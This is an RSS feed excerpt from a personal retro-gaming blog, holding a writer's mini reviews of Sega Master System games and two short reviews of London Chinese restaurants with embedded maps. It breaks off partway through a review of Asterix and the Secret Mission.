<dc:date>2010-10-12T09:23:21Z</dc:date>
<pubDate>Tue, 12 Oct 2010 09:23:21 GMT</pubDate>
</item>
<item>
<title>Mini Review: Shinobi</title>
<author>Maxim</author>
<description><![CDATA[<p>From the SMS&#8217;s heyday, one of the arcade conversions that powered the system in the battle against the NES. But I&#8217;d never played it before. So is it any good?
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>Pretty good, for the era. Presumably the arcade game was on more powerful hardware so it&#8217;s a downconversion, but it&#8217;s not too dreadful for that. Enemies and environments are reasonably varied.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Classic tunes. Well, I know them all from <em>Alex Kidd in Shinobi World</em> but it&#8217;s interesting to hear the &#8220;originals&#8221;.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>The game is reasonably playable which would keep you coming back for more, and it&#8217;s certainly enjoyable enough to make me power through with some enthusiasm. But it seems short. Only the dreadful difficulty spikes (see below) stop it being a 1-day game.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>I&#8217;m sure there was one, but I didn&#8217;t read it. <em>Reads <a class='urllink' href='/BoxText/Shinobi-SMS-US' rel='nofollow'>the back of the box</a></em> Rescuing children? Was that it? Hrmph.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>This game has some major difficulty issues. 
</p>
<div class='vspace'></div><ul><li>First, there&#8217;s the impossible jumps. As far as I can tell, in many places (especially the later levels) you have to jump over instant-death pits with pixel precision, and it&#8217;s not particularly easy to tell <em>which</em> pixel either.
</li><li>The stage 3 boss is a complete nightmare - the first phase is a &#8220;wall of mandaras&#8221; (I had to look it up and I still don&#8217;t really get it) which you have to destroy using button-mashing in slightly less time than is humanly possible.
</li><li>A few of the bosses forget to flash or give some other feedback when you find their weak point.
</li></ul><p class='vspace'>If it wasn&#8217;t for savestates, I&#8217;d have given up on this. Even with them, I had trouble with the button mashing. Maybe back in the day I&#8217;d have persevered but these days, life is too short.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>The two-level design is very interesting, although it is rather modal. The multi-stage bosses are pretty good and ought to have caught on a bit more. The variety of enemies is nice too, with new ones being added into the mix fairly continuously throughout the game.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>One of those games everyone ought to play, but I think you need the nostalgia bit to be set to consider it a classic you&#8217;d play over and over.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-Shinobi</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-10-11T14:22:21Z</dc:date>
<pubDate>Mon, 11 Oct 2010 14:22:21 GMT</pubDate>
</item>
<item>
<title>Restaurant Review: My Old Place, City of London</title>
<author>Maxim</author>
<description><![CDATA[<p>The closest I&#8217;ve found to a Chinese restaurant that is like a restaurant in China.
</p>
<p class='vspace'>The décor is somewhat worn and faded. The furniture looks like it was above average quality when it was new, but now it&#8217;s wobbly and held together with extra screws and metal plates. The menu is not very large, and includes a lot of stomach-turning things like trotters, ears and &#8220;fire exploded kidneys&#8221;. The service is not very good. Your food takes inexplicable times to arrive. But:
</p>
<div class='vspace'></div><ul><li>almost everyone in there is Chinese, mostly of the immigrant (rather than BBC) flavour
</li><li>the food is very good
</li><li>portions are large
</li><li>it&#8217;s pretty cheap
</li><li>no tips (unless you&#8217;re incorrigibly not Chinese)
</li></ul><p class='vspace'>Probably best to go with a Chinese person, though.
</p>
<div class='vspace'></div><h3>Update</h3>
<p>Much like restaurants in China, it has got worse over time as they try to cut corners to make more money. Quality is down, portions are down, prices are up, reputation is on the way out.
</p>
<p class='vspace'><iframe width=600 height=400 align=default frameborder=default scroll=default src=http://maps.google.co.uk/maps?q=my+old+place+restaurant&amp;fb=1&amp;gl=uk&amp;hq=my+old+place+restaurant&amp;hnear=Islington&amp;cid=0,0,4298405324317412353&amp;ei=vBOzTOaQLNOSjAen6ryhDw&amp;ved=0CCgQnwIwAw&amp;ll=51.518517,-0.076239&amp;spn=0.004673,0.00912&amp;z=16&amp;iwloc=A&amp;output=embed></iframe>
<span style='font-size:83%'><a class='urllink' href='http://maps.google.co.uk/maps?hl=en&amp;client=firefox-a&amp;ie=UTF8&amp;q=my+old+place+restaurant&amp;fb=1&amp;gl=uk&amp;hq=my+old+place+restaurant&amp;hnear=Islington&amp;cid=0,0,4298405324317412353&amp;ei=vBOzTOaQLNOSjAen6ryhDw&amp;ved=0CCgQnwIwAw&amp;ll=51.518517,-0.076239&amp;spn=0.004673,0.00912&amp;z=16&amp;iwloc=A&amp;source=embed' rel='nofollow'>View Larger Map</a></span>
</p>
]]></description><link>http://www.smspower.org/maxim/RestaurantReview-MyOldPlaceCityOfLondon</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-11-23T10:52:18Z</dc:date>
<pubDate>Wed, 23 Nov 2011 10:52:18 GMT</pubDate>
</item>
<item>
<title>Restaurant Review: Seventeen, Notting Hill</title>
<author>Maxim</author>
<description><![CDATA[<p>Rubbish.
</p>
<p class='vspace'>Pretentious décor. Uncomfortable seats. Bad service. Incredibly noisy main road outside the propped-open door. The smallest portions I&#8217;ve ever had in a Chinese restaurant. Poor value for money even though I had a discount voucher. The beef was good, the vegetables distinctly mediocre, the fish pretty bad.
</p>
<p class='vspace'>Flashblob website: <a class='urllink' href='http://www.seventeen-london.co.uk/' rel='nofollow'>http://www.seventeen-london.co.uk/</a>
</p>
<p class='vspace'><iframe width=600 height=400 align=default frameborder=default scroll=default src=http://maps.google.co.uk/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=seventeen,+notting+hill&amp;sll=51.528511,-0.085842&amp;sspn=0.004846,0.019076&amp;ie=UTF8&amp;hq=&amp;hnear=17+Notting+Hill+Gate,+Kensington,+Greater+London+W11+3,+United+Kingdom&amp;ll=51.509133,-0.194778&amp;spn=0.018697,0.036478&amp;z=14&amp;output=embed></iframe>
<span style='font-size:83%'><a class='urllink' href='http://maps.google.co.uk/maps?f=q&amp;source=embed&amp;hl=en&amp;geocode=&amp;q=seventeen,+notting+hill&amp;sll=51.528511,-0.085842&amp;sspn=0.004846,0.019076&amp;ie=UTF8&amp;hq=&amp;hnear=17+Notting+Hill+Gate,+Kensington,+Greater+London+W11+3,+United+Kingdom&amp;ll=51.509133,-0.194778&amp;spn=0.018697,0.036478&amp;z=14' rel='nofollow'>View Larger Map</a></span>
</p>
]]></description><link>http://www.smspower.org/maxim/RestaurantReview-SeventeenNottingHill</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-10-11T14:06:16Z</dc:date>
<pubDate>Mon, 11 Oct 2010 14:06:16 GMT</pubDate>
</item>
<item>
<title>Mini Review: Rampart</title>
<author>Maxim</author>
<description><![CDATA[<p>Here&#8217;s an unusual game. An arcade conversion (by <a class='urllink' href='http://www.smspower.org/People/KevinSeghetti?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>Kevin Seghetti</a>... urk) of the proto-tower-defense/<em>Tetris</em> game. But is it any good?
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>Generally bad, I presume they&#8217;re all programmer-generated instead of using a real artist. They seem quite in-line with the arcade, though.
</p>
<p class='vspace'>One of the more confusing aspects is that they swap between &#8220;schematic&#8221; block-based views (when building) and &#8220;3D&#8221; views during the shooting phase. This is often weird, but I guess authentic to the original.
</p>
<p class='vspace'>The ending is a full-screen graphic which is nice, I suppose, although it&#8217;s also ugly and could be done a lot better.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Almost none. Considering <em>Monopoly</em> and <em>Alf</em>, that&#8217;s a good thing.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>The game is essentially random, but the landscapes seem predefined (the first four or so are based on an island, the rest are just <em>non sequitur</em>s). This severely restricts the variety of the game as the difficulty level is pretty much just whatever the random number generator produces. The lack of repeatability makes replay much more frustrating. Savestates nullify this to some extent...
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>None to speak of. Well, you have a castle, you are trying to defend against attackers... fill in the gaps yourself.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>Once you get used to the clunkier aspects of the game, it&#8217;s not bad. The randomness, however, is quite frustrating. When the game decides to put non-buildable-damage in the middle of a 1-block-wide wall with no space around it, you&#8217;re just screwed, which is really irritating.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>For all the annoyances, there&#8217;s nothing else like it on the SMS. The innovation is all in the arcade original, though.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Not awful, but not great.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-Rampart</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T09:00:22Z</dc:date>
<pubDate>Mon, 25 Jul 2011 09:00:22 GMT</pubDate>
</item>
<item>
<title>Mini Review: Penguin Land</title>
<author>Maxim</author>
<description><![CDATA[<p>Enough of the crappy platformers already! How about something a bit more &#8220;classic&#8221;? The &#8220;outer space&#8221; sequel to the SG-1000 (and arcade) oft-copied egg-pushing adventure with the untranslatable name...
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>While it&#8217;s clearly an early Japanese release, the characterisation in the sprites is very good. There&#8217;s lots of variety in the penguin (hitting his head on the ceiling, reeling from a polar bear punch, etc) and the polar bear, although that&#8217;s pretty much it. The round intros are nice huge graphics. In-game it&#8217;s a block-based puzzler so you can&#8217;t expect too much...
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Pleasantly blip-bloppy late-80s Japanese chiptune, but not outstanding.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>While the gameplay is basically unchanged throughout, the 50 levels will take you a long time to cover. I got through in about 4 hours, but that was split into many dozens of play sessions - you probably can&#8217;t play too much of this in one go, but it doesn&#8217;t get as boring as you might expect, as you can &#8220;zone in&#8221; to the game quite well.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Not a lot. You&#8217;re a penguin of some sort delivering eggs to underground space stations on ice planets. By tremendous luck, that makes it almost identical to the original game...
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>At the risk of repeating myself, a lot more than you might expect. I&#8217;ve played cheap mobile phone crappy clones of this game (penguins seem to be a popular character for cheap east Asian software to be based upon...) and they were cheap and crappy, but it turns out this is pretty good.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>It&#8217;s a really close repeat of the first game, with a few new block types added and redrawn with the SMS&#8217;s superior graphics in a much more cutesy style.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Better than you probably expected. Definitely worth playing through, although you&#8217;ll be glad there&#8217;s not 100 levels.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-PenguinLand</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-09-27T13:59:41Z</dc:date>
<pubDate>Mon, 27 Sep 2010 13:59:41 GMT</pubDate>
</item>
<item>
<title>Mini Review: The Lion King</title>
<author>Maxim</author>
<description><![CDATA[<p>Following fast on the heels of The Jungle Book, let&#8217;s see another Disney platformer by Syrox. Is it any different?
</p>
<p class='vspace'>
</p><h2>Graphics</h2>
<p>A pleasantly large number of animation frames (although lacking any standing animation) gives a decent amount of life to the character. Backdrops are well-drawn and nicely atmospheric (the stampede stage has some decent parallax too), and there&#8217;s some nice movie-derived art.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Covers of the movie themes. Some of them have a pleasingly chippy feel to them.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>The game is overall too easy. There&#8217;s a decent amount of variety, although mostly it&#8217;s plain old platforming, with some occasionally dodgy physics. Where it does well is by having a non-standard character - a not-too-anthropomorphic lion, in fact. This makes the movement much more interesting and raises this above being totally a cookie-cutter movie licence.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>I think it follows the film reasonably, although I haven&#8217;t actually watched it. There&#8217;s a rather jarring cut in the middle when lion cub Simba becomes adult lion Simba and we&#8217;re forced to figure out that he&#8217;s fighting the evil lion for control of the whatever-it-is.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>Reasonably so. There&#8217;s a pleasing characterisation in the young Simba animation which makes you enjoy the jumping around more than you might otherwise. The variety helps, too. However, sometimes the physics is poor - in particular, attaching to &#8220;swing points&#8221; is difficult to judge and the ends of platforms are not very clear.
</p>
<p class='vspace'>At one point I got caught in a part of the stage where I couldn&#8217;t get out and couldn&#8217;t die, and there&#8217;s no timer. That would rather spoil the fun on a real system.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>It&#8217;s another &#8220;platformer without any square blocks&#8221;, and does it well (there&#8217;s no building-based stages). As mentioned, the non-humanoid character is interesting.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Better than you might expect. Definitely worth playing through once.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-LionKing</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-09-02T10:36:17Z</dc:date>
<pubDate>Thu, 02 Sep 2010 10:36:17 GMT</pubDate>
</item>
<item>
<title>Mini Review: The Jungle Book</title>
<author>Maxim</author>
<description><![CDATA[<p>Yet another late European platformer. Maybe if I play enough, I&#8217;ll get sick of them and be cured of this insanity...
</p>
<p class='vspace'>
</p><h2>Graphics</h2>
<p>The first stage is rather weak, but the sprites are all pretty good and relatively large. Later levels are a bit more original which makes things interesting. Overall, quite accomplished.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Covers of the movie themes, but without much enthusiasm.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>There&#8217;s a decent amount of variation in the gameplay through the levels, and there are enough of them, but some of the early stages are rather boring to play through. Probably a great deal more enjoyable with savestates than it would be on a real system, where you may well give up rather than persevere past the gameplay issues.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Very weak - just some movie-inspired parts that get illogically repeated (you will &#8220;find Bagheera&#8221; (get to the end of the level) many times) and nonsensical collect-em-up stages. Also, since when did Mowgli attack all the jungle animals with bananas?
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>There are some serious flaws in the &#8220;physics&#8221; that make it quite frustrating to get through the game. You can&#8217;t judge the last possible point for any jump, yet there are many jumps you can only just make. You crash into some platforms but not others, but it&#8217;s not clear which is which until you try. The top-of-a-rope animation kicks in before you&#8217;re particularly close to the top and then you can&#8217;t stop it so you get hurt by an enemy. The part of Baloo you can stand on are not obvious at all, yet missing them means instant death. These things coalesce into a feeling of dissatisfaction with the game which spoils any fun that may be contained within.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Well, it&#8217;s pretty good on the &#8220;platformer without any square blocks&#8221; front - at least, until the ruins stage. One thing that seems particularly weak, though, is the way stages end - often the action just freezes and the screen goes black. It seems like a little effort could have made is seem a lot more polished.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>I borrowed this game when it came out and it struck me at the time as not very good. It seems I was right.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating1.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-JungleBook</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-08-31T11:58:48Z</dc:date>
<pubDate>Tue, 31 Aug 2010 11:58:48 GMT</pubDate>
</item>
<item>
<title>Mini Review: Global Gladiators</title>
<author>Maxim</author>
<description><![CDATA[<p>Take the engine from <a class='urllink' href='http://www.smspower.org/Games/CoolSpot-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>Cool Spot</em></a>, add in a (weak) licence from everyone&#8217;s favourite evil MegaGlobalCorp, some awful pseudo-environmentalist nonsense, a custard gun... and what do you get?
</p>
<p class='vspace'>A terrible late third-party European release?
</p>
<p class='vspace'>
</p><h2>Graphics</h2>
<p>There&#8217;s a decent amount of variety and it&#8217;s fairly accomplished pixel-art-wise, but it&#8217;s all let down by the decision to make the first world &#8220;Slime World&#8221; where everything is dark and mostly green, where dark green slime enemies shoot dark green slime at you from their vantage points sat upon dark green slime. So you can&#8217;t really see anything.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Matt Furniss conversion, so there&#8217;s lots of 1/16 duty cycle bass and things are quite chippy.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>The first world of this game must put most people off. That, and the dodgy controls, make it incredibly frustrating. However, once you get past that there&#8217;s three more worlds (themes: forest, city, snow) with three stages each. It&#8217;ll take about 90 minutes to play through it all.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Rubbish. Ronald McDonald is creepy as hell, it makes no sense, and the ending is incredibly awful (&#8220;GAME OVER&#8221; would have been better).
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>Frustration abounds in this game. First off, the almost invisible enemies in the first world. Their high-speed almost-invisible projectiles. The need to look up and down at every otherwise-blind jump because there <em>will</em> be an enemy there. Invisible platforms. In the last level, you have to collect every single one of the tiny &#8220;M&#8221; icons to finish.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Technically, it does something slightly interesting with the way the screen is rendered (to get the status bar on-screen while still having two-way scrolling), which was re-used in <em>Cool Spot</em> (which seems to be a retread of the same engine released the following year). The packaging boasts of 1250 frames of animation which is almost believable, but I think they&#8217;re counting every sprite in the entire game and then maybe double-counting. (Or it was copy from the Mega Drive version that they left in even though it was wrong.)
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Ultimately, the flaws outweigh the good stuff quite substantially, making it overall an unpleasant experience.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating1.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-GlobalGladiators</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T08:52:31Z</dc:date>
<pubDate>Mon, 25 Jul 2011 08:52:31 GMT</pubDate>
</item>
<item>
<title>Mini Review: Daffy Duck in Hollywood</title>
<author>Maxim</author>
<description><![CDATA[<p>Yay! Yet another late Europe-only Probe licensed platformer! I&#8217;m a glutton for punishment...
</p>
<p class='vspace'>
</p><h2>Graphics</h2>
<p>Daffy has loads of movement and animation frames, special animations, etc. that convey the character pretty faithfully to the cartoon. Sprites are all larger than average, but on the other hand that means you rarely get more than two on-screen at the same time (to avoid the sprite limit). Backgrounds are very nicely done as you&#8217;d expect from a game of this vintage.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Matt Furniss does his usual magic. It&#8217;s all plinky-plonky stuff but that&#8217;s what we want, isn&#8217;t it?
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>There&#8217;s 18 fairly large levels split into six movie-themed groups of three. The game is pretty much the same through them all, except the kung-fu level briefly has you performing martial arts and over-the-top spinning jumps (which is nice), before you get a gun anyway and it&#8217;s back to normal.
</p>
<p class='vspace'>You play through the whole game (takes about an hour) and then you get
</p>
<div class='vspace'></div><div class='indent'><em>YOU VARMINT DUCK! YOU CAN&#8217;T FINISH THE GAME UNLESS YOU PLAY IT ON HARD DIFFICULTY SETTING!... NOW GO BACK AND TRY AGAIN!</em>
</div><p class='vspace'>...so you do that and you get
</p>
<div class='vspace'></div><div class='indent'><em>YOU VARMINT DUCK! YOU DIDN&#8217;T GET ALL OF MY GOLDEN MOVIE AWARDS ... NOW GO BACK AND TRY AGAIN!</em>
</div><p class='vspace'>...so you say &#8220;screw that&#8221; and look up the &#8220;good ending&#8221; text in the ROM.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Well, apparently it was something to do with getting golden movie awards?
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>It&#8217;s not too bad. The large sprites mean the world is correspondingly large and as a result you can&#8217;t see very far ahead, so there&#8217;s rather too many blind jumps (although a decent look up/down facility mitigates that). There&#8217;s some stupid jump-out-as-you-walk-past enemies, and some stupid hide-behind-foreground-scenery enemies (like Chuck Rock). But overall, it&#8217;s a polished platformer.
</p>
<p class='vspace'>Also, when Daffy runs into a wall, the screen shakes and his beak is bent. What else could you want?
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Not really.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Polished platformer but nothing more. Nevertheless, an engrossing time-passer.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-DaffyDuckInHollywood</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-02-22T14:04:16Z</dc:date>
<pubDate>Wed, 22 Feb 2012 14:04:16 GMT</pubDate>
</item>
<item>
<title>Mini Review: Batman Returns</title>
<author>Maxim</author>
<description><![CDATA[<p>Movie licence? Oh no. Developed by Aspect? Music by the <em>Streets of Rage</em> guy(s)? Hmm... maybe worth a closer look.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>While there&#8217;s a decent amount of variety, the graphics are rather weak most of the way through. While dark urban scenes and sewers are in line with the movie, it&#8217;s all done in that ah-well-it&#8217;s-8-bit way where you know they could have tried a bit harder to get some shading, shadows, curves, etc. but just didn&#8217;t bother.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Well, it&#8217;s basically the guy who did <em>Streets of Rage</em>, using the same engine in the same way... which is pretty good stuff, really.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>There are five stages, each of which is a selection between two &#8220;routes&#8221;, so effectively there are 10 levels. Each is reasonably large (across multiple in-game scenes). There&#8217;s a lot of fairly obvious busy-work with power-up-collecting that offers you the option to be a completist, and the route selection means you have to play through at least twice to see everything.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>There isn&#8217;t really a plot. Well, I guess the final boss is the bad guy from the movie, but that&#8217;s it.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>The bat-rope-swing thing is integral to the game - but it&#8217;s insanely hard to use. I had to cheat massively with an emulator rewind feature to make progress almost all the time - often there is what seems to be a single-frame window to reach the target and not die horribly.
</p>
<p class='vspace'>Also, there&#8217;s no energy bar. One hit and you die - and there are plenty of cheap hits. Then you lose all your powerups. To make up for this, there are a huge number of powerups and extra lives, but it&#8217;s still really annoying.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Not really.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Just get the VGM pack...
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-BatmanReturns</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T08:57:52Z</dc:date>
<pubDate>Mon, 25 Jul 2011 08:57:52 GMT</pubDate>
</item>
<item>
<title>Maps: Arcade Smash Hits</title>
<author>Maxim</author>
<description><![CDATA[<p>I mapped <a class='wikilink' href='http://www.smspower.org/maxim/Maps/ArcadeSmashHits?sid=df27688e1ea0f31a8391579434ba1a6f'>Arcade Smash Hits</a>. Well, it&#8217;s not really a &#8220;map&#8221; in the traditional sense, but I grabbed all the levels of Breakout and Missile Command.
</p>
]]></description><link>http://www.smspower.org/maxim/Maps-ArcadeSmashHits</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-07-25T19:02:31Z</dc:date>
<pubDate>Sun, 25 Jul 2010 19:02:31 GMT</pubDate>
</item>
<item>
<title>Mini Review: Aladdin</title>
<author>Maxim</author>
<description><![CDATA[<p>Hooray, a Disney movie licence videogame! Well, the Mega Drive version was well received...
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>Heavy outlining seems to want to reinforce the cartoon nature of the movie, but it comes across a bit oddly (especially the white outlines on bats in the cave stages). The backdrops, in contrast, are all in unoutlined pastel shades (except the gaudy treasure and lava stages). The first few stages&#8217; fake 3D is rather nice - not too obtrusive but it actually works well.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Somewhat bland mixture of original tunes and arrangements of songs from the movie.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>While there is variety, there&#8217;s really nothing that makes you want to replay any part of the game.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Mostly in line with the movie, but it&#8217;s weighed down by quite a lot of exposition screens that render the text a little too slowly.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>Mostly lacking in the fun department, I&#8217;m afraid. Aladdin doesn&#8217;t feel very controlled, and the collision detection is decidedly iffy. The range of moves available is interesting but they&#8217;re not used enough in the game - for example, there&#8217;s one point in the cave level where you have to learn how to run, then how to slide, and then you never need that ability ever again. And it&#8217;s not even particularly discoverable.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>The 3D effects are nicely done, although the levels with that are in fact rather flat. The <a class='urllink' href='http://www.smspower.org/Games/PrinceOfPersia-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>Prince of Persia</em></a> style parts fail to live up to their inspiration.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-Aladdin</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T08:55:25Z</dc:date>
<pubDate>Mon, 25 Jul 2011 08:55:25 GMT</pubDate>
</item>
<item>
<title>Mini Review: Deep Duck Trouble</title>
<author>Maxim</author>
<description><![CDATA[<p>The lesser-known followup to <a class='urllink' href='http://www.smspower.org/Games/LuckyDimeCaper-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>The Lucky Dime Caper</a>, <a class='urllink' href='http://www.smspower.org/Games/DeepDuckTrouble-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>Deep Duck Trouble</a> seems to try to improve on it yet somehow fails to do so.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>Generally improved over Deep Duck Trouble, with even more animation frames and a whole bunch of new actions. We seem to get a more angry Donald, more like the cartoon and less Mickey Mouse-like. The enemies are less memorable. Backdrops are mostly pleasant and characterful, with a decent amount of effort spent.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>No idea.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>This game is way too short. The original game had seven locations, this only has five (although they are split into two parts each, but those parts are not particularly long). The first stage is probably the weakest, which will have put a lot of people off the game, but later stages are more appealing.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>The story screens are reasonable (although they persist in having Donald speak intelligibly). The game stays consistent to that.
</p>
<p class='vspace'>Quite why water is fatal to Donald (a duck, in case you forgot) is a bit of a hole. Except in the swimming stages, where he is wearing scuba gear.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>Once you get over the rather pedestrian pace at the start, it&#8217;s not bad. There&#8217;s a bit of exploration in later levels and occasionally some figuring out what you need to do, although it&#8217;s basically linear. The &#8220;running away&#8221; stages are an interesting diversion from the standard platforming mechanic.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Just another Disney game. It really lacks powerups (just the mostly useless chilli powerup and extra lives).
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-DeepDuckTrouble</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-08-30T08:38:09Z</dc:date>
<pubDate>Tue, 30 Aug 2011 08:38:09 GMT</pubDate>
</item>
<item>
<title>Mini Review: Asterix and the Secret Mission</title>
<author>Maxim</author>
<description><![CDATA[<p>The second SMS Asterix game, <a class='urllink' href='http://www.smspower.org/Games/AsterixAndTheSecretMission-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>Asterix and the Secret Mission</em></a> is a pretty solid improvement over the first.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>A little spartan. The sprites are pretty good approximations of the cartoon yet still rather 8-bit style. Backgrounds are mostly plain and the overall effect is a bit NES-like.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>No idea.
</p>
<div class='vspace'></div><h2>Longevity</h2>
